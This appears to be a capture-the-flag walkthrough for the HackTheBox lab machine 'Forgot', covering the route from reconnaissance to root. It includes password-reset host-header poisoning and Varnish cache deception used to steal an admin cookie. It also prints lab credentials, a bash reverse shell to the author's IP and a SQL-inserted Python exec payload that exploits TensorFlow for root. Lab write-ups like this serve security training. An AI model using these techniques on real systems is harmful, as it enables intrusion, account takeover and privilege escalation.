# Forgot

Forgot is a medium rated difficulty Linux machine from [HackTheBox](https://app.hackthebox.com/machines/Forgot) created by MrR3boot. This box is pretty confusing and it’s pretty slow, you need a lot of patience to complete this one. In the current post my IP is 10.10.14.18 and the target’s IP is 10.129.228.104.

### Gathering Information

This step is always the same, you must ping the machine to see if is alive, and then use Nmap to scan all the ports to avoid surprises.

{% code title="Local Terminal" %}

```bash
nmap -p- --open -T5 -v -n 10.129.228.104
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FttlqNN5P3SNWP3O27D0t%2Fimage.png?alt=media&#x26;token=122e7226-94cc-4ec3-a978-a32bd97ca5d4" alt=""><figcaption><p>Nmap’s output, just a website?</p></figcaption></figure>

{% code title="Local Terminal" %}

```bash
nmap -sC -sV -p 22,80 10.129.228.104
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FAgBhjzbiXHZ9SbfFI68x%2Fimage.png?alt=media&#x26;token=6b81cce9-63ab-40a0-bfaa-da83c18af63e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Fnp80yLVBrbXQC5LpLCpA%2Fimage.png?alt=media&#x26;token=691bdfc8-c076-4595-8028-5461f2a8fada" alt=""><figcaption></figcaption></figure>

It’s just a website, but there is something weird about it.

{% code title="Local Terminal" %}

```bash
whatweb http://10.129.228.104
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Fx0IossIR0GWRpDVFi3Mh%2Fimage.png?alt=media&#x26;token=ba9a9cda-6cb4-4772-948c-94d8ded37dd2" alt=""><figcaption><p>Relevant information: Varnish 6.2, after exploring you should search about that.</p></figcaption></figure>

* Browser:         <http://10.129.228.104>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F44wAJs9enRLiljPMTyiE%2Fimage.png?alt=media&#x26;token=d88b2209-fd37-48b4-9a0f-edb211cca5f3" alt=""><figcaption><p>Main page</p></figcaption></figure>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FG8GglcX5qVLlCpJur4hc%2Fimage.png?alt=media&#x26;token=b4e34423-e1b2-4013-a1e0-e5199c4d4058" alt=""><figcaption><p>Fragment of the main page source code (CTRL+U)</p></figcaption></figure>

Add more information to your notes {user : robert-dev-14522}, still, we don’t have much information, so our best option is to fuzz the website and try to obtain more.

{% code title="Local Terminal" %}

```bash
wfuzz -c -t 200 –hc=404 -w /usr/share/wordlists/dirb/big.txt http://10.129.228.104/FUZZ
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FzJE2sRemj8CTUWOV3jRP%2Fimage.png?alt=media&#x26;token=78def0c4-cd1e-45b0-9a92-f5e7c9060ce5" alt=""><figcaption><p>home, tickets, and reset. Interesting.</p></figcaption></figure>

My target machine explodes, new target IP: **10.129.219.117**

* Browser:         <http://10.129.219.117/forgot>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FGji9vANgua8P1jvr9rTH%2Fimage.png?alt=media&#x26;token=79e0cfce-454f-4aa0-a101-4f2ef79a638a" alt=""><figcaption></figcaption></figure>

We can see that the website sends something to the user, we need to intercept it, by using one terminal, Burpsuite, and your browser.

### User Interception Step

Before, from **<http://10.129.219.117>** take the username of “robert-dev” using view:source (CTRL+U) or try **curl <http://10.129.219.117/> | grep “Q1 release fix by”**

{% code title="Local Terminal" %}

```bash
nc -lvnp  443
```

{% endcode %}

* Burpsuite:       {INCERCEPT ON}
* Browser:         {username: robert-dev-14522} {PRESS RESET}
* Burpsuite:       Change host to your IP address and netcat port, like 10.10.14.18:443

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F6KFhMD5se4UlIpavoP94%2Fimage.png?alt=media&#x26;token=1860ad82-cf34-4515-ab64-b39c823f55ab" alt=""><figcaption><p>Burpsuite modification</p></figcaption></figure>

* Burpsuite: {Press Forward}
* Burpsuite: {Intercept OFF}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FiuC8VoHwz8ElQkQg1sSK%2Fimage.png?alt=media&#x26;token=d13e5e98-8a14-4e53-8045-afdd34266346" alt=""><figcaption><p>Wait around 1-2 minutes. at netcat you will receive this. Copy the token url.</p></figcaption></figure>

* Browser:                     <http://10.129.219.117/reset?token=iATub9koGT1P79mowK2i%2B7zoJgnmsxWu1Fo4jWi0gPv8laTB3SzWbEPr8Om53r7Gcqt1Mu6U%2Bh4XqhSp7HoJ8A%3D%3D>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FUDR48scceOSwizSmKlcC%2Fimage.png?alt=media&#x26;token=a218f2f3-4990-489e-88b6-554473267de9" alt=""><figcaption><p>Change password to anything (Here: pass123)</p></figcaption></figure>

Now we have to login.

* Browser:         <http://10.129.219.117>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FBqB5Ib3IVqpo9geAZ1mN%2Fimage.png?alt=media&#x26;token=47a87662-10f3-47e2-bc4a-0a352c06626a" alt=""><figcaption><p>Home Portal</p></figcaption></figure>

This machine have a timer where it changes the username of “robert-dev”, and it will fail if you are slow. Repeat everything from “User Interception Step”

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FWFMfJqbjPPWWSbaMb5El%2Fimage.png?alt=media&#x26;token=2ef3e871-3a3e-4347-b7bf-dc2300543b8c" alt=""><figcaption><p><a href="http://10.129.219.117/tickets">http://10.129.219.117/tickets</a></p></figcaption></figure>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FkYc37viS9QbbH8gt3wnV%2Fimage.png?alt=media&#x26;token=b91d02cc-dad1-43a5-9fdc-25cd9403acd2" alt=""><figcaption><p><a href="http://10.129.219.117/escalation">http://10.129.219.117/escalation</a></p></figcaption></figure>

### Login through SSH

This version of Varnish have an issue with the cache (this was hard to find), we will use it to intercept and get the credentials to login directly to the machine.

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FO2ofH3T8va9jorbVM8dr%2Fimage.png?alt=media&#x26;token=3a73fbbe-ad4a-4322-a2cb-58ac3b0c1a87" alt=""><figcaption><p>view:source of home, /admin_tickets sounds like an important subdomain</p></figcaption></figure>

First, we need to submit a ticket to a valid important URL from the machine plus a fictional directory, and the best place is static, where the .JS files are saved. After this, we will get the admin’s cookie to go to /admin\_tickets

* Browser:         <http://10.129.219.117/escalation>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Fbp5OtmSv6KrjY3owZcJM%2Fimage.png?alt=media&#x26;token=194de6c6-496f-4315-bc3f-2fe446acbdc7" alt=""><figcaption><p>Submit!</p></figcaption></figure>

Here you have to wait around two or three minutes, If you want now, you can retrieve your **user cookie** to compare, by using Burpsuite, intercepting a site like <http://10.129.219.117/escalation> while logged in.

And after waiting, we can get the cookie from the fictional page

{% code title="Local Terminal" %}

```bash
curl -I http://10.129.219.117/static/directory
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F44pchNGf4Q35dboOdYsj%2Fimage.png?alt=media&#x26;token=6030fe07-e8e3-4c16-a920-4a1a44905516" alt=""><figcaption><p>Admin cookie, if this fails, repeats by summiting a new ticket with a new folder</p></figcaption></figure>

Now that we have the administrator’s cookie, we have to use Burpsuite to change the cookie when going to /admin\_tickets

* Burpsuite {Intercept ON}
* Browser:         <http://10.129.219.117/admin\\_tickets>
* Burpsuite {Replace Cookie}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Fr7zsGpFXpML5p8gYpWeV%2Fimage.png?alt=media&#x26;token=405c62d5-e898-4690-b793-9eb5f4fcb4f0" alt=""><figcaption></figcaption></figure>

* Burpsuite {Forward}
* Burpsuite {Intercept OFF}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FIQmNGDGAkJVYSjnc8obl%2Fimage.png?alt=media&#x26;token=30e373b1-1c37-4caf-9f5d-a5b958e2bf57" alt=""><figcaption><p>And we are in! Look, there is an ssh issue</p></figcaption></figure>

We have to try to login using these credentials, but before we notice that this website loves to add an Uppercase everywhere… so we are going to get the information from the source

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F5eKv3WMnfFf2HiNmPEuv%2Fimage.png?alt=media&#x26;token=ebb171e5-00c7-4a0d-ba7b-1dd166314759" alt=""><figcaption><p>view:source of /admin_tickets… {diego:dCb#1!x0%gjq}</p></figcaption></figure>

{% code title="Local Terminal" %}

```bash
ssh diego@10.129.219.117                     #password: dCb#1!x0%gjq
```

{% endcode %}

Now our LocalTerminal \[**Term**] is the Target Terminal \[**Diego**]

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FbSZF89Nl3KmWwYfugYrb%2Fimage.png?alt=media&#x26;token=3651bf81-3f38-4b3f-9e26-dfe49e24e221" alt=""><figcaption><p>Get the user.txt</p></figcaption></figure>

### Privilege Escalation

Now we want to become root, first we need to know what applications we can execute as root.

{% code title="Target Terminal Diego" %}

```bash
sudo -l
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FXaIPi1mMhGB4qGyCm08A%2Fimage.png?alt=media&#x26;token=b0026699-b921-460f-ad8d-829c1eb27959" alt=""><figcaption></figcaption></figure>

{% code title="Target Terminal Diego" %}

```bash
cat /opt/security/ml_security.py
```

{% endcode %}

By exploring the code, we found two things, it reads a MySQL data base, and by the version of TensorFlow, we can [inject code in saved\_model\_cli](https://github.com/advisories/GHSA-75c9-jrh4-79mc) to execute another bash file. I found an explanation and steps from this [post](https://breached.vc/Thread-Forgot-HTB-Discussion?page=4).

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FKfaBWdBnZmE0lhSAUodu%2Fimage.png?alt=media&#x26;token=b5d2486d-0899-49ad-b235-fe48d805b504" alt=""><figcaption><p>It’s connected to SQL! Nice.</p></figcaption></figure>

{% code title="Target Terminal Diego" %}

```bash
mysql -u diego -p          #pass: dCb#1!x0%gjq
```

{% endcode %}

{% code title="Target Terminal Diego (SQL)" %}

```sql
SHOW DATABASE;
use app;
show tables;
SELECT * from users;
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F3c1nnszRsSbBpmnCA6JK%2Fimage.png?alt=media&#x26;token=6c87667c-4ce3-433d-a05b-7f81ad4a8e51" alt=""><figcaption><p>app's Tables</p></figcaption></figure>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FPwjyaVpUlrwLbRdpfl1x%2Fimage.png?alt=media&#x26;token=f680c109-1f06-45ed-9cd6-42ae0ddb5da7" alt=""><figcaption><p>Content of users table</p></figcaption></figure>

Still, I couldn’t do anything else with this information…

{% code title="Target Terminal Diego" %}

```bash
cd /dev/shm
vi script.sh
```

{% endcode %}

{% code title="Content of script.sh" %}

```bash
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.18/443 0>&1
```

{% endcode %}

{% code title="Target Terminal Diego" %}

```bash
chmod 777 script.sh
mysql -u diego -p                 #pass: dCb#1!x0%gjq
```

{% endcode %}

From here, we need three terminal, two connected to the target as Diego, one to use the MySQL queries \[**MySQL**], the other one to execute ml\_security.py \[**Diego**], and one Local Terminal \[**Term**]

{% code title="Target Terminal \[MySQL]" %}

```sql
use app;
insert into escalate values (“TEXT”,”TEXT”,”TEXT”,’hello=exec(“””\nimport os\nos.system(“/dev/shm/script.sh”)\nprint(“&ErrMsg=%3Cimg%20src=%22http://imgur.com/bTkSe.png%22%20/%3E%3CSCRIPT%3Ealert%28%22xss%22%29%3C/SCRIPT%3E”)”””)’);
```

{% endcode %}

{% code title="Local Terminal \[Term]" %}

```bash
nc -nlvp 443
```

{% endcode %}

{% code title="Target Terminal \[Diego]" %}

```bash
sudo /opt/security/ml_security.py
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FQq5kzy0oaim6qQ3eKsjW%2Fimage.png?alt=media&#x26;token=dfedec38-bd1a-4cba-85ed-c498a6355025" alt=""><figcaption><p>Now [Term] is [Root]</p></figcaption></figure>

{% code title="Target Root" %}

```bash
cd /root
ls
cat root.txt
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Fvup3r6LbiqUolU1qAXMY%2Fimage.png?alt=media&#x26;token=9fa0090d-fca6-4712-8bf3-73cfcda5e851" alt=""><figcaption><p>Root flag!</p></figcaption></figure>
